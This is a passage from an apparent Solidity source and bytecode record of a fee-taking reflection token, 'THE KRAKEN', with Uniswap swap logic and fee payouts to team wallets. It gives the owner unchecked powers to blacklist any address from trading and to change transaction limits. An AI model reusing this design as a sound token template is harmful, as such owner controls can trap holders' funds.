) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600681526020017f4b52414b454e0000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f544845204b52414b454e00000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b60056008819055506014600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f